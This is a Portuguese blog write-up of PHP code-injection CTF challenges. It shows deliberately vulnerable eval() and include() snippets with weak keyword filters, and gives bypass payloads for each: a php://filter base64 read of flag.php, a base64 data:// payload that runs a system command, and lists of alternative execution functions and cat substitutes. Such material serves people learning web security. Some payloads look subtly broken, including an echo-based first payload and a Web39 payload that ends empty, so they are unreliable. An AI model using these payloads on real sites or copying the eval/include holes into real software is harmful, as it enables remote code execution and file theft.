Desafios de Segurança Web: Explorando Injeções de Código PHP


<?php
// Configuração para não mostrar erros
error_reporting(0);
// Verifica se o parâmetro 'cmd' foi enviado via GET
if(isset($_GET['cmd'])){
  $cmd = $_GET['cmd'];
  // Verifica se a palavra 'flag' não está presente no comando
  if(!preg_match("/flag/i", $cmd)){
    // Executa o comando recebido
    eval($cmd);
  }

}else{
  // Exibe o código fonte do arquivo atual
  highlight_file(__FILE__);
}
?>

Para este desafio, podemos usar o payload: ?cmd=echo tac fl''ag.php;

O filtro é mínimo, então podemos utilizar comandos como nl (que adiciona números de linha) ou caracteres curinga.

Desafio Web30


<?php
error_reporting(0);
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    // Filtra palavras-chave relacionadas a flags e funções de sistema
    if(!preg_match("/flag|system|php/i", $cmd)){
        eval($cmd);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

Nesta etapa, a função system() foi filtrada. Alternativas para execução de comandos incluem:

  • exec() e suas variantes (execl, execlp, execle, execv, execvp, execvpe)
  • shell_exec()
  • passthru()
  • popen()
  • proc_open()
  • pcntl_exec()
  • Uso de crases (backticks) para execução de comandos

Desafio Web31


<?php
error_reporting(0);
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    // Filtro mais restrito
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $cmd)){
        eval($cmd);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

Com a filtragem de espaços, precisamos de alternativas para o comando cat:

  • tac - exibe arquivo ao contrário
  • more e less - paginadores de conteúdo
  • head e tail - exibe início ou fim do arquivo
  • nl - adiciona números de linha
  • od - visualizador de binários
  • vi e vim - editores de texto
  • sort - ordena linhas
  • uniq - remove linhas duplicadas

Desafio Web32


<?php
error_reporting(0);
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    // Filtro ainda mais restrito
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $cmd)){
        eval($cmd);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

Com a filtragem de parênteses, muitas funções tornam-se inutilizáveis. Soluções:

  1. Usar include sem parênteses: ?cmd=include%09$\_GET\[1\]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
  2. Utilizar o protocolo data://: ?cmd=data:text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==

O include não passa peelo filtro preg_match, tornando-se uma via alternativa para leitura de arquivos.

Desafio Web39


<?php
// A flag está em flag.php
error_reporting(0);
if(isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    if(!preg_match("/flag/i", $cmd)){
        // Adiciona .php ao final do parâmetro recebido
        include($cmd.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
?>

Este desafio adiciona .php ao parâmetro recebido, mas podemos contornar isso através de técnicas de fechamento adequada do parâmetro.

Payload: ?cmd=data:text/plain,

O uso de protocolos de dados permite contornar a restrição de extensão forçada.

Tags: PHP Injeção de Código RCE Filtros de Segurança Protocolos de Dados

Publicado em 6-16 16:31 por Thomas